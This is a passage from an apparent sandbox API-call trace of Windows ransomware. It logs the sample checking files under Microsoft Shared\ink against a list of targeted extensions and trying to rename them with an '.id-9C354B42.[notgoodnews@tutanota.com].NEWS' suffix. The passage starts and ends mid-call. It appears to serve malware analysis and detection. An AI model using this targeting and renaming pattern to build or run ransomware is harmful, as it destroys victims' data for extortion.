dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.975] lstrlenW (lpString=".doc") returned 4 [0051.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.975] lstrlenW (lpString=".docx") returned 5 [0051.975] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.975] lstrlenW (lpString=".pdf") returned 4 [0051.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.975] lstrlenW (lpString=".xls") returned 4 [0051.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.975] lstrlenW (lpString=".xlsx") returned 5 [0051.975] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.975] lstrlenW (lpString=".ppt") returned 4 [0051.975] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString=".zip") returned 4 [0051.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.976] lstrlenW (lpString=".rar") returned 4 [0051.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString=".bz2") returned 4 [0051.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString=".7z") returned 3 [0051.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString=".dbf") returned 4 [0051.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString=".1cd") returned 4 [0051.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString=".jpg") returned 4 [0051.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.976] lstrlenW (lpString=".doc") returned 4 [0051.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString=".docx") returned 5 [0051.977] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.977] lstrlenW (lpString=".pdf") returned 4 [0051.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString=".xls") returned 4 [0051.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString=".xlsx") returned 5 [0051.977] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.977] lstrlenW (lpString=".ppt") returned 4 [0051.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.977] lstrlenW (lpString=".zip") returned 4 [0051.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.977] lstrlenW (lpString=".rar") returned 4 [0051.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString=".bz2") returned 4 [0051.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString=".7z") returned 3 [0051.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.977] lstrlenW (lpString=".dbf") returned 4 [0051.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.977] lstrlenW (lpString=".1cd") returned 4 [0051.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0051.978] lstrlenW (lpString=".jpg") returned 4 [0051.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.978] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0051.978] lstrlenW (lpString="hwruksh.dat") returned 11 [0051.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.680] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2227968) returned 1 [0053.680] CloseHandle (hObject=0x1c0) returned 1 [0053.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0053.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.681] lstrlenW (lpString=".doc") returned 4 [0053.681] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0053.681] lstrlenW (lpString=".docx") returned 5 [0053.682] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0053.682] lstrlenW (lpString=".pdf") returned 4 [0053.682] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0053.682] lstrlenW (lpString=".xls") returned 4 [0053.682] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0053.682] lstrlenW (lpString=".xlsx") returned 5 [0053.682] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0053.682] lstrlenW (lpString=".ppt") returned 4 [0053.682] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.682] lstrlenW (lpString=".zip") returned 4 [0053.682] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0053.682] lstrlenW (lpString=".rar") returned 4 [0053.682] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0053.682] lstrlenW (lpString=".bz2") returned 4 [0053.682] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0053.682] lstrlenW (lpString=".7z") returned 3 [0053.682] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.682] lstrlenW (lpString=".dbf") returned 4 [0053.682] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.683] lstrlenW (lpString=".1cd") returned 4 [0053.683] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.683] lstrlenW (lpString=".jpg") returned 4 [0053.683] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.683] lstrlenW (lpString=".doc") returned 4 [0053.683] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0053.683] lstrlenW (lpString=".docx") returned 5 [0053.683] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0053.683] lstrlenW (lpString=".pdf") returned 4 [0053.683] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0053.683] lstrlenW (lpString=".xls") returned 4 [0053.683] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0053.683] lstrlenW (lpString=".xlsx") returned 5 [0053.684] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0053.684] lstrlenW (lpString=".ppt") returned 4 [0053.684] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.684] lstrlenW (lpString=".zip") returned 4 [0053.684] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0053.684] lstrlenW (lpString=".rar") returned 4 [0053.684] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0053.684] lstrlenW (lpString=".bz2") returned 4 [0053.684] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0053.684] lstrlenW (lpString=".7z") returned 3 [0053.684] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.684] lstrlenW (lpString=".dbf") returned 4 [0053.684] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.684] lstrlenW (lpString=".1cd") returned 4 [0053.684] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0053.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0053.684] lstrlenW (lpString=".jpg") returned 4 [0053.684] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0053.685] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.685] lstrlenW (lpString="ipshrv.xml") returned 10 [0053.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.686] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2652) returned 1 [0053.686] CloseHandle (hObject=0x1c0) returned 1 [0053.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0053.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.686] lstrlenW (lpString=".doc") returned 4 [0053.686] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.686] lstrlenW (lpString=".docx") returned 5 [0053.686] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0053.686] lstrlenW (lpString=".pdf") returned 4 [0053.686] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.686] lstrlenW (lpString=".xls") returned 4 [0053.687] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.687] lstrlenW (lpString=".xlsx") returned 5 [0053.687] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0053.687] lstrlenW (lpString=".ppt") returned 4 [0053.687] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.687] lstrlenW (lpString=".zip") returned 4 [0053.687] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.687] lstrlenW (lpString=".rar") returned 4 [0053.687] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.687] lstrlenW (lpString=".bz2") returned 4 [0053.687] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.687] lstrlenW (lpString=".7z") returned 3 [0053.687] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.687] lstrlenW (lpString=".dbf") returned 4 [0053.687] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.687] lstrlenW (lpString=".1cd") returned 4 [0053.687] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.688] lstrlenW (lpString=".jpg") returned 4 [0053.688] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.688] lstrlenW (lpString=".doc") returned 4 [0053.688] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString=".docx") returned 5 [0053.688] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0053.688] lstrlenW (lpString=".pdf") returned 4 [0053.688] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString=".xls") returned 4 [0053.688] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString=".xlsx") returned 5 [0053.688] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0053.688] lstrlenW (lpString=".ppt") returned 4 [0053.688] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.688] lstrlenW (lpString=".zip") returned 4 [0053.689] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.689] lstrlenW (lpString=".rar") returned 4 [0053.689] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.689] lstrlenW (lpString=".bz2") returned 4 [0053.689] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.689] lstrlenW (lpString=".7z") returned 3 [0053.689] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.689] lstrlenW (lpString=".dbf") returned 4 [0053.689] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.689] lstrlenW (lpString=".1cd") returned 4 [0053.689] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0053.689] lstrlenW (lpString=".jpg") returned 4 [0053.689] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.690] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.690] lstrlenW (lpString="ipsita.xml") returned 10 [0053.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.690] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2526) returned 1 [0053.690] CloseHandle (hObject=0x1c0) returned 1 [0053.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0053.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.691] lstrlenW (lpString=".doc") returned 4 [0053.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.691] lstrlenW (lpString=".docx") returned 5 [0053.691] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.691] lstrlenW (lpString=".pdf") returned 4 [0053.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.691] lstrlenW (lpString=".xls") returned 4 [0053.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.691] lstrlenW (lpString=".xlsx") returned 5 [0053.691] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.691] lstrlenW (lpString=".ppt") returned 4 [0053.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString=".zip") returned 4 [0053.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.692] lstrlenW (lpString=".rar") returned 4 [0053.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString=".bz2") returned 4 [0053.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString=".7z") returned 3 [0053.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString=".dbf") returned 4 [0053.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString=".1cd") returned 4 [0053.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString=".jpg") returned 4 [0053.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.692] lstrlenW (lpString=".doc") returned 4 [0053.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString=".docx") returned 5 [0053.693] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.693] lstrlenW (lpString=".pdf") returned 4 [0053.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString=".xls") returned 4 [0053.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString=".xlsx") returned 5 [0053.693] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.693] lstrlenW (lpString=".ppt") returned 4 [0053.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.693] lstrlenW (lpString=".zip") returned 4 [0053.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.693] lstrlenW (lpString=".rar") returned 4 [0053.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString=".bz2") returned 4 [0053.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.693] lstrlenW (lpString=".7z") returned 3 [0053.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.693] lstrlenW (lpString=".dbf") returned 4 [0053.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.694] lstrlenW (lpString=".1cd") returned 4 [0053.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0053.694] lstrlenW (lpString=".jpg") returned 4 [0053.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.695] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0053.695] lstrlenW (lpString="ipsjpn.xml") returned 10 [0053.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0053.695] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2522) returned 1 [0053.695] CloseHandle (hObject=0x1c0) returned 1 [0053.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0053.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0053.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.696] lstrlenW (lpString=".doc") returned 4 [0053.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.696] lstrlenW (lpString=".docx") returned 5 [0053.696] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0053.696] lstrlenW (lpString=".pdf") returned 4 [0053.696] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.696] lstrlenW (lpString=".xls") returned 4 [0053.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.696] lstrlenW (lpString=".xlsx") returned 5 [0053.696] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0053.696] lstrlenW (lpString=".ppt") returned 4 [0053.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString=".zip") returned 4 [0053.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.697] lstrlenW (lpString=".rar") returned 4 [0053.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString=".bz2") returned 4 [0053.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString=".7z") returned 3 [0053.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString=".dbf") returned 4 [0053.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString=".1cd") returned 4 [0053.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString=".jpg") returned 4 [0053.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0053.697] lstrlenW (lpString=".doc") returned 4 [0053.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString=".docx") returned 5 [0053.698] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0053.698] lstrlenW (lpString=".pdf") returned 4 [0053.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString=".xls") returned 4 [0053.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString=".xlsx") returned 5 [0053.698] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0053.698] lstrlenW (lpString=".ppt") returned 4 [0053.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.698] lstrlenW (lpString="C:\\Program 